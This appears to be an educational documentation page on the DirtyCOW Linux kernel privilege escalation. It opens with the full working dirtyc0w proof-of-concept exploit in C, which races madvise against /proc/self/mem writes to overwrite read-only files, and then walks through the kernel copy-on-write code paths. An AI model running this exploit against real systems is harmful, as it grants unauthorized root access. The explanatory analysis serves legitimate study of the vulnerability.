> For the complete documentation index, see [llms.txt](https://7-stars-servers.gitbook.io/docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://7-stars-servers.gitbook.io/docs/cves/dirtycow.md).

# DirtyCow

DirtyCOW is a privilege escalation vulnerability found in the Linux kernel

```c
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;
 
void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
      c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}
 
void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
    lseek(f,(uintptr_t) map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}
 
 
int main(int argc,char *argv[])
{
  if (argc<3) {
  (void)fprintf(stderr, "%s\n",
      "usage: dirtyc0w target_file new_content");
  return 1; }
  pthread_t pth1,pth2;
  
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %zx\n\n",(uintptr_t) map);

  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);

  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
}
```

This is the exploit code, it's pretty obvious that we're dealing with a race condition here.

Let's start by breaking up the main code first.

```c
int main(int argc,char *argv[])
{
  if (argc<3) {
  (void)fprintf(stderr, "%s\n",
      "usage: dirtyc0w target_file new_content");
  return 1; }
  pthread_t pth1,pth2;
 
```

Firstly we expect two arguments, the root file that we want to overwrite and a string to write into the file.

Then we create two **pthreads**&#x20;

```c
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
```

Here we open the file and then we map it to our process.

In the context of **C programming** and **operating systems**, **mapping** refers to associating a file or a memory region with a process's address space. In our case this means taking the content of the file and loads it into the **process's virtual address space.**

The `MAP_PRIVATE` flag triggers the copy-on-write mechanism, which is a memory management technique where multiple processes can share a single memory region until one of them tries to modify it. When a write occurs, a **private copy** of the page is created for that process, leaving the original untouched.

This happens when the process doesn't have the right to write on the mapped pages. So instead of throwing an error, we create a private copy of the pages we want to modify in the process's **virtual address space.**

```c
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);

  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
```

Then, **two threads** are created:

* One executes `madviseThread` to repeatedly discard the mapped memory.
* The other runs `procselfmemThread` to attempt writing to `/proc/self/mem`.

The first thread executes the `madviseThread` function.

```c
void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
      c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}
```

We see that it has a loop that runs 100 million times and In each iteration, the function `madvise` is called on `map` with size `100` and advice `MADV_DONTNEED`.

What does `madvise` system call do ?

`madvise` is a system call used to give advice to the kernel about how memory should be handled.

Here we provide it with the `MADV_DONTNEED` flag, which basically tells the kernel that the specified memory range (`map`, 100 bytes) is **no longer needed**, so it may discard it freeing up memory.

## What happens in the Kernel exactly ?

* The kernel does the following:

  1. **Drops the Pages from Physical RAM**:
     * If the memory is **anonymous**, the kernel discards the pages.
     * If the memory is **file-backed**, the kernel drops cached pages but does **not** discard dirty pages (pages with unsaved modifications).
  2. **Clears PTEs (Page Table Entries)**:
     * The process's page table is updated to mark the affected pages as **not present**.&#x20;
  3. **Delays Reallocation Until Accessed Again**:

     * The kernel does **not immediately reclaim** the memory for other processes.
     * Instead, it waits until another process needs memory or the same process accesses it.

  The other thread executes the `procselfmemThread` function.

```c
void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
    lseek(f,(uintptr_t) map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}
```

This function is manipulating `/proc/self/mem`, which is a special file generated by the kernel that represents the memory of the current process.

Now inside the loop, `lseek()` moves the file descriptor `f` to the position `map` (which is an address of the memory mapped region in this case the start of the file).

Then we write the string `str` to the location in memory specified by the `lseek()` call.

Since `f` is opened as read-only and the `map` is created with `PROT_READ`, you shouldn’t be able to modify the memory region mapped by `mmap`. However, the function attempts to write to this memory using `/proc/self/mem`. Remember we specified the `MAP_PRIVATE` flag so when the thread attempts to write on the mapped memory, the kernel creates a copy of it and makes the threads write to it instead. this **COWed page** (the copy) doesn't change the original file on the hard disk.

### The parallel execution of the two threads &#x20;

Everytime the first thread attempts to write into the memory mapped page a COWed copy is created to be written on instead. However, the second thread discards it right after.

In a rare case, the `madvise` can occur on the right moment during our `write` call and confuse the kernel leading to writing in the orignal file instead of the COWed copy.

But how ?

This is because the write system call isn't atomic, it take few instructions after it finishes. The key of the dirty cow vulnerability resides here.

```markdown
- **mem_write**
  - access_remote_vm
    - __get_user_pages
      - faultin_page
        - handle_mm_fault
          - __handle_mm_fault
          - handle_pte_fault
          - do_wp_page
          - PageAnon()
          - reuse_swap_page
          - Wp_page_reuse
          - Maybe_mkwrite
          - ...
```

This is a simplification of the write function.&#x20;

`access_remote_vm`. As the name suggests, this function enables the kernel to read from or write to the virtual memory of another (remote) process. It serves as the foundation for various out-of-band memory access mechanisms, including `ptrace(2)`, `/proc/self/mem`, `process_vm_readv`, and `process_vm_writev`.

`access_remote_vm` invokes multiple intermediate functions, ultimately reaching `__get_user_pages_locked(...)`. At this stage, the function translates the intent of the out-of-band access into the appropriate flags before proceeding.

In this case the flags would consist of:

```
FOLL_TOUCH | FOLL_REMOTE | FOLL_GET | FOLL_WRITE | FOLL_FORCE
```

So it basically specify the permissions we want in this case it's `FOLL_WRITE` because we want to write in the pages.

The rest of these functions, their purpose is to get the pages that we requested and resolve any errors.

Remember we're writing to a read only page but since we have `MAP_PRIVATE` set in our original `mmap` call we won't receive any errors and the kernel will gets us a copy page we can write to.

The code that does this for us is:

```markdown
        - handle_mm_fault
          - __handle_mm_fault
          - handle_pte_fault
          - do_wp_page
          - PageAnon()
          - reuse_swap_page
          - Wp_page_reuse
          - Maybe_mkwrite
```

If you want further details you can go check the kernel documentation.

After `access_remote_vm`  specifies the permissions we want to do we continue with `__get_user_pages` which tries to get the pages we want to write into over and over again until it succeeds. But because our pages are readonly and our **follow flags** has `FOLL_WRITE` set then the `faultin_page` function will get triggered and will try to fault in the page.

`handle_mm_fault` is a core function in the Linux kernel responsible for handling **memory faults.** In our case, it's the one responsible for creating the COWed pages.

```c
long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
                      unsigned long start, unsigned long nr_pages,
                      unsigned int gup_flags, struct page **pages,
                      struct vm_area_struct **vmas, int *nonblocking)
{
    /* ... snip ... */
    do {
        /* ... snip ... */
retry:
        cond_resched(); /* please reschedule me!!! */
        page = follow_page_mask(vma, start, foll_flags, &page_mask);
        if (!page) {
            int ret;
            ret = faultin_page(tsk, vma, start, &foll_flags, nonblocking);
            switch (ret) {
                case 0:
                    goto retry;
                case -EFAULT:
                    /* Handle fault error */
                    break;
            }
        }
    } while (some_condition);
}

```

This is a snippet of the `__get_user_pages` function from the kernel.

```c
page = follow_page_mask(vma, start, foll_flags, &page_mask);
```

At the first iteration, `follow_page_mask` tries to get the page but it returns null because our requested access `foll_flags` differs from the permissions of the page. So this will leads us to `faultin_page` to resolve the page.

There are several reasons why `follow_page_mask` may return `NULL`:

* The address does not have a corresponding memory mapping, such as when accessing a `NULL` pointer.
* The memory mapping exists, but due to demand paging, the content has not yet been loaded.
* The page has been swapped out to the original file or a swap file.
* The access permissions specified by `foll_flags` conflict with the page's protection settings (e.g., attempting to write to a read-only mapping).

```c
static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma, 
                        unsigned long address, unsigned int *flags, int *nonblocking) 
{ 
 
    ret = handle_mm_fault(mm, vma, address, fault_flags);
    
    if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE)) {
        *flags &= ~FOLL_WRITE; 
    }
    
    return 0;
}

```

Now this is a snippet of the `faultin_page` . `handle_mm_fault` will resolve the error by giving us a copy of the pages (a COWed page). However, in the end we modify the flags removing the `FOLL_WRITE` flag from the flags then we go back to the `__get_use_pages` . so now `follow_page_mask` won't give us a null because the requested access and the permissions of the page are gonna be the same. this is how the kernel handles the **copy on write** mechanism.

Now, what if the `madvise` runs right before the `follow_page_mask` works for the second time ?

If this happens the page will become null again and the `faulting_page` will be called, but this time with the new flags without the `FALL_WRITE` flag. when this happens the `handle_mm_fault`  doesn't see the right flag so it returns the original page instead of a COWed page. So when we go to the `__get_user_pages` another time, the `follow_page_mask` succeed and returns the original page mapped from the file on disk.

Any write made to this page will also be made to the file on disk.
